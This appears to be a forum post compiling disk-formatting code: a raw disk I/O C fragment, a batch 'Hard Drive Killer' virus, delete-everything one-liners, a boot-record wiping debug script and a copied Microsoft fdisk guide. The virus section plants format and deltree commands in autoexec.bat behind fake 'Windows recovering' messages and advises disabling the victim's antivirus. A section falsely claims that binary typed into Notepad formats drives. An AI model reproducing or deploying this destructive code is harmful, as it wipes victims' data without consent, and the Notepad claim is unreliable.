Progran to formatting disks

Dear Friends , this is not a batch file ,and not intended to encourage a malicious activities,rather to explore the possibilities of advanced level of Programming ! Never ever use your knowledge against the ethics of technological world !

A : /* Progran to formatting disks */
#include
#include
#include "snpdskio.h"

int CDECL absdisk(unsigned char function,
unsigned short drive,

/* 0 = A:, etc. */
size_t number_of_sectors,
size_t starting_sector,
void * sector_buffer);

int AbsDiskRead(unsigned short drive,
size_t num_of_sectors,
size_t sector,
void *ptr)
{
return absdisk(0x25, drive, num_of_sectors, (unsigned)sector, ptr);
}

int AbsDiskWrite(unsigned short drive,
size_t num_of_sectors,
size_t sector,
void *ptr)
{
return absdisk(0x26, drive, num_of_sectors, (unsigned)sector, ptr);}

=======================================================================

B :

Format Harddrive?
@echo off
for %%i in (d:,e:,f:,g:) do format %%i /FS:NTFS /x

If you want quick format then add the /q switch to the end of the format command.

What follows is the code for the batch file code of the hard drive killer code. A virus that wipes your hard drive so fast that it can cause physical damage.

CAUTION!!!
Use at your own risk this is very dangerous. If you do manage to accidentally run it on your own system then do not restart but check your autoexec.bat file. This is now redundat because it is detected by many virus scanners but,if you kill the vics AV on entry it will work...also if they are running MicrosoftSpyware it will stop it from running so you need to go into Managers in CIA and use the ProcessManager to kill MicrosoftSpyware...kill process gcasDTServ.exe(some **** like that).

@echo off
rem Fastest way to format your computer.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
if %drive%.==. set drive=c
del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2"wink do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt"wink do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

:end


I was told this is the part of the code that AV Companies catch:
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat


Do not use this in a batch file
Code:
echo off
cls
echo y|format C:
This will format the Hard Drive Without user permission.
This will go right to do a format. You canot stop it. (do not say you were not warned...)


there is a command line switch to not prompt for y, sorry but cant remember what it is. the above will work.

more parameters follow


FORMAT drive: [/V[:label]] [/Q] [/F:size] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/T:tracks /N:sectors] [/B | /S] [/C]
FORMAT drive: [/V[:label]] [/Q] [/1] [/4] [/B | /S] [/C]
FORMAT drive: [/Q] [/1] [/4] [/8] [/B | /S] [/C]

/V[:label] Specifies the volume label.
/Q Performs a quick format.
/F:size Specifies the size of the floppy disk to format (such as 160, 180, 320, 360, 720, 1.2, 1.44, 2.88).
/B Allocates space on the formatted disk for system files.
/S Copies system files to the formatted disk.
/T:tracks Specifies the number of tracks per disk side.
/N:sectors Specifies the number of sectors per track.
/1 Formats a single side of a floppy disk.
/4 Formats a 5.25-inch 360K floppy disk in a high-density drive.
/8 Formats eight sectors per track.
/C Tests clusters that are currently marked "bad."

=======================================================================

C:

Format a HDD with Notepad
You can now do a lot of things with a notepad which you could have never imagined. I will show you how to format a HDD using a notepad.
Step 1. Copy The Following In Notepad Exactly as it says
01001011000111110010010101010101010000011111100000
Step 2. Save As An EXE Any Name Will Do
OR
IF u think u cannot format c driver when windows..any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000
100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000
100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001


Do not try it on your PC. Don’t mess around this is for educational purpose only
1. Go to notepad and type the following:
@Echo off
Del C:\ *.*|y save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a.bat file

========================================

D:




CAUTION: This debug script is for advanced users only. Its Purpose is to remove all formatting and partitioning information from your hard disk when FDISK is unable to do so. THIS WILL REMOVE ALL DATA AND PROGRAMS FROM THE DRIVE.

1. Create a MSDOS bood disk with Debug

2. At DOS command prompt type the following: Debug[Enter] (Where enter is to press the enter key once)

NOTE: Type the following bolded text only. You will recieve an error if you type anything other than the bold text. The non-bolded text represents what will appear on you screen once you press [Enter] after each command.

-F 200 L1000 0 [Enter]
-A CS:100 [Enter]
xxxx:0100 MOV AX,301 [Enter]
xxxx:0103 MOV BX,200 [Enter]
xxxx:0106 MOV CX,1 [Enter]
xxxx:0109 MOV DX,80 [Enter]

NOTE: ( --- "80" for hd0, "81" for hd1)

xxxx:010c INT 13 [Enter]
xxxx: 010e INT 20 [Enter]
xxxx: 0110 [Enter]

-G [Enter]
"Program terminated normally"

3. Turn off the computer. On the next startup the hard drive will need to be partitioned and formatted.
***

====================================================================================

E :


How to Format a Hard Disk
After you create the partitions, you must format the partitions:
1. Restart your computer with the Startup disk in the floppy disk drive.

NOTE: If you are using a Windows 95 Startup disk, a command prompt is displayed and you can skip to step 2. If you are using a Windows 98, Windows 98 Second Edition, or Windows Me Startup disk, select the Start computer without CD-ROM support menu option when the Windows 98 Startup menu is displayed.
2. When a command prompt is displayed, type format c: /s, and then press ENTER. This command transfers the system files and should only be used when you format drive C (or your "active" drive). For all other partitions, type format drive: (where drive is the letter of the partition that you want to format).

NOTE: If you receive a "Bad command" or "Bad file name" error message, you may need to extract the Format.com tool to your boot disk. To do this, type the following command at a command prompt, and then press ENTER:
extract ebd.cab format.com
After the Format.com tool is extracted to your boot disk, type format c: /s t a command prompt to format your active partition, or type format drive: if you want to format a partition that is not your active partition.
3. When you successfully run the Format.com tool, you receive the following message:
WARNING, ALL DATA ON NON-REMOVABLE DISK DRIVE C: WILL BE LOST!
Proceed with Format?
4. Press Y, and then press ENTER to format drive C.
5. After the format procedure is finished, you receive the following message:
Volume label (11 characters, ENTER for none)?
NOTE: This is an optional feature that you can use to type a name for the drive. You can either type an 11-character name for the drive, or you can leave it blank by pressing ENTER.
For information about how to repartition the extended partition and logical drives, view the "How to Repartition and Format the Extended Partition and Logical Drives of a Hard Disk" section in this article.



How to Repartition and Format a Slave Hard Disk
If you want to add a second hard disk (slave drive) to your computer, you need to make sure that the jumpers on both the master (original) and slave (new drive) are set according to the manufacturer's instructions first so that your computer can detect the hard disks. Verify that your hardware is installed correctly, and then follow these steps:
1. Click Start, point to Run, and then type command (Note that the cmd command only works on Windows 2000-based computers).
2. At a command prompt, type fdisk, and then press ENTER. The following menu is displayed:
3. 1. Create DOS partition or Logical DOS Drive
4. 2. Set active partition
5. 3. Delete partition or Logical DOS Drive
6. 4. Display partition information
5. Change current fixed disk drive
Note that menu option 5 is available only if you have two physical hard disks on your computer.
7. Press 5, and then press ENTER. When you do this, the selection changes from the physical disk 1 (master) to the physical disk 2 (slave).
8. Press 1 to select the Create DOS partition or Logical DOS Drive menu option, press ENTER, press 2 to select the Create Extended DOS Partition menu option, and then press ENTER. When you make your slave drive an extended MS-DOS partition, your drive letters does not change. For example, if the first drive contains partition C and partition D, your slave drive becomes D unless you set the slave drive as an extended partition. If you skip this step and just create another primary MS-DOS partition for the slave drive, the new drive becomes drive D and what used to be drive D, changes to drive E.
9. You can partition the slave drive to make other logical drives just as you did with the original master drive. If your computer cannot detect the new drive, you may need to add the following line to your Config.sys file, where drive is a letter that is greater than the last drive letter on the computer (including the CD-ROM drive):
lastdrive=drive
10. After you finish using the Fdisk tool, format the new partitions so that you can use them. After you press ESC to quit the Fdisk tool, restart your computer to start Windows.




How to Format a Slave Hard Disk
To format your new partition or partitions, use one of the following methods, depending on your file system. For a FAT16 file system:
a. Double-click My Computer, right-click the partition that you just created, click Format, click Full, and then click Start.
b. After the format procedure is complete, click OK to close the dialog box.
For a FAT32 file system:
a. Click Start, point to Programs, point to Accessories, point to System Tools, click Drive Converter (FAT32), and then click Next.
b. In the Drives box, click the drive that you want to convert to the FAT32 file system.
c. Click Next, and then click OK.
d. Click Next, click Next, and then click Next again.
e. When the conversion procedure is finished, click Finish.
NOTE: Do not use the /s switch that you used when you set up drive C. All you need to do is to format the drive or drives so that you can use them (for example, if you created two new drive letters, you need to format both drives).

For information about how to repartition the extended partition and logical drives, view the following "How to Repartition and Format the Extended Partition and Logical Drives of a Hard Disk" section in this article.
How to Repartition and Format the Extended Partition and Logical Drives of a Hard Disk
Use the steps in this section to resize or combine your extended partition and logical drives. Make sure that you have a reliable backup of any important data that you have on your extended partition and logical drives before you proceed. If you want to combine your entire hard disk in one partition, use the steps in the "How to Partition and Format a Master Hard Disk" section in this article.
How to Repartition the Extended Partition and the Logical Drives
NOTE: When you use this method, two or more partitions are left on your hard disk, a primary partition (usually drive C) and an extended partition. Even if you use the FAT32 file system, there is an 8-GB partition limitation unless you obtain a BIOS upgrade that fully supports interrupt 13 extensions. For additional information about why there is an 8-GB limit, click the article number below to view the article in the Microsoft Knowledge Base:
153550 (http://support.microsoft.com/kb/153550/EN-US/ ) Hard Disk Limited to 8-GB Partition
If you have a hard disk that is larger than 8 GB and you are not using a disk overlay program or disk management software, you need to partition and format the space that is remaining after you create each 8-GB partition:
1. Place the Startup disk in your floppy disk drive, restart your computer, and then use one of the following methods, depending on your operating system. For a Windows 98, Windows 98 Second Edition, or Windows Me Startup disk:
a. When the Microsoft Windows 98 Startup menu is displayed, select the Start computer without CD-ROM support menu option, and then press ENTER.
b. At a command prompt, type fdisk, and then press ENTER.
c. Go to step 2.
For a Windows 95 Startup disk:
d. At a command prompt, type fdisk, and then press ENTER.
e. Go to step 2.
If your hard disk is larger than 512 MB, you receive the following message:
Your computer has a disk larger than 512 MB. This version of Windows includes improved support for large disks, resulting in more efficient use of disk space on large drives, and allowing disks over 2 GB to be formatted as a single drive.

IMPORTANT: If you enable large disk support and create any new drives on this disk, you will not be able to access the new drive(s) using other operating systems, including some versions of Windows 95 and Windows NT, as well as earlier versions of Windows and MS-DOS. In addition, disk utilities that were not designated explicitly for the FAT32 file system will not be able to work with this disk. If you need to access this disk with other operating systems or older disk utilities, do not enable large drive support.

Do you wish to enable large disk support (Y/N)?
If you want to use the FAT32 file system, press Y and then press ENTER. If you want to use the FAT16 file system, press N, and then press ENTER.For additional information about the FAT32 and FAT16 file systems, click the article numbers below to view the articles in the Microsoft Knowledge Base:
118335 (http://support.microsoft.com/kb/118335/EN-US/ ) Maximum Partition Size Using FAT16 File System
154997 (http://support.microsoft.com/kb/154997/EN-US/ ) Description of the FAT32 File System
After you press ENTER, the following Fdisk Options menu is displayed:
1. Create DOS partition or Logical DOS Drive
2. Set active partition
3. Delete partition or Logical DOS Drive
4. Display partition information
5. Change current fixed disk drive
(this option is only available if you
have two physical hard disks in the computer)
Press 3, and then press ENTER. The following menu is displayed:
1. Delete Primary DOS Partition
2. Delete Extended DOS Partition
3. Delete Logical DOS Drive(s) in the Extended DOS Partition
4. Delete Non-DOS Partition
Press 3, and then press ENTER.
The Delete Logical DOS Drive(s) in the Extended DOS Partition screen is displayed with a chart that describes the attributes of your hard disk, as shown in the following example.
Collapse this tableExpand this table
Drv Volume Label Mbytes System Usage
D: (User Defined) 2047 FAT16 100%
E: (User Defined) 2047 FAT16 100%
F: (User Defined) 2047 FAT16 100%
G: (User Defined) 2047 FAT16 100%
H: (User Defined) 2047 FAT32 17%
I: (User Defined) 1498 UNKNOWN 13%


Total Extended DOS Partition size is XXX Mbytes (1 MByte = 1048576 bytes).

WARNING! Data in a deleted Logical DOS Drive will be lost.

What drive do you want to delete? Type the letter for the drive that you want to delete, and then press ENTER.
When you are prompted to type the volume label for the drive, type the volume label if the drive has a volume label.

NOTE: You must type the exact label or press ENTER if there is no volume label. If you type an incorrect label name, you receive the following message:
Volume label does not match.
Enter Volume Label?
If you type the correct volume label, you receive the following message:
Are you sure (Y/N)?
The default answer to this message is N. You must press Y, and then press ENTER to delete the drive. The words "Drive deleted" are displayed in the chart next to the drive letter that you deleted.
Repeat steps 3 through 7 until you have deleted all of the drives that you want to delete. When you are finished, press ESC. If you remove all of the logical drives, you receive a "No logical drives defined" message and a chart of drive letters that you changed or deleted. Press ESC to continue.

NOTE: If you want to resize the logical drive or drives by making them larger or smaller, do this now. If you want to remove the extended partition, view step 11.
Press 1 to select the Create DOS partition or Logical DOS Drive menu option from the Fdisk Options menu, press 3 to select the Create Logical DOS Drive(s) in the Extended DOS Partition menu option from the Create DOS Partition or Logical DOS Drive menu, and then press ENTER. When you do this, you receive a "Verifying drive integrity" message with a percentage-complete counter.

NOTE: When you use this step, the extended partition is not deleted, only the logical drive or drives in the extended partition are deleted. You do not need to remove the extended partition to resize the logical drives. For example, if you have one logical drive in the extended partition and you want to make two logical drives, delete the logical drive and create two logical drives in the extended partition first. Note that you are still limited to the total space in the extended partition.
After the drive verification procedure is finished, you receive the following message:
Total Extended DOS Partition size is XXX Mbytes (1 MByte = 1048576 bytes)

Maximum space available for logical drive is XXX Mbytes (X%)

Enter logical drive size in Mbytes or percent of disk space (%).
The "maximum Mbytes available" is the default size, however, you can change the number if you type the number for the partition size that you want to create, and then pressing ENTER. Press ESC, press ESC to quit the Fdisk tool and return to a command prompt, and then view step 11.
If you want to remove the extended MS-DOS partition, press ESC to return to the Fdisk Options menu. Press 3 to select the Delete DOS Partition or Logical DOS Drive menu option, press ENTER, press 2 to select the Delete Extended DOS Partition menu option, and then press ENTER.
The screen shows the current fixed disk drive and information about it. The extended partition is listed in the Type column. For example:
Partition Status Type Volume Label Mbytes System Usage
C: 1 A PRI DOS (your label) 1200 FAT16 50%
2 EXT DOS (your label) 1200 UNKNOWN 50%

Total disk space is 2400 Mbytes (1 Mbyte = 1048576 bytes)
You also receive the following warning message:
WARNING! Data in the deleted Extended DOS Partition will be lost.

Do you wish to continue (Y/N)?
Press Y, and then press ENTER to delete the partition. You receive the following message:
Extended DOS Partition deleted
Press ESC to continue
NOTE: If you try to delete your extended MS-DOS partition before you remove all of the logical drives, you receive the following error message:
Cannot delete Extended DOS Partition while logical drives exist.
If you receive this error message, repeat steps 3 through 6, and then follow steps 9 and 10 to delete the extended MS-DOS partition.

The Fdisk Options menu is displayed. If you leave disk space unpartitioned on your hard disk, Windows may not display the full size of your hard disk, only the amount of space that is available.

IMPORTANT: After you change the Fdisk options or delete partitions, the data that was on the partition is deleted and cannot be retrieved. Be very sure that you understand this procedure before you attempt to follow it. If you want to start with a clean configuration or if you want to redo your current configuration, back up everything that is important to you before you use the Fdisk tool.
If you want to use the unpartitioned space on your hard disk, you must format the drives. When you successfully run the Format.com utility, you receive the following message:
WARNING, ALL DATA ON NON-REMOVABLE DISK DRIVE X: WILL BE LOST!
Proceed with Format (Y/N)?
Press Y, and then press ENTER to format the drive.
After the format procedure is finished, you receive the following message:
Volume label (11 characters, ENTER for none)?
NOTE: This is an optional feature that you can use to type a name for the hard disk. You can either type an 11-character name for the drive, or leave it blank and press ENTER.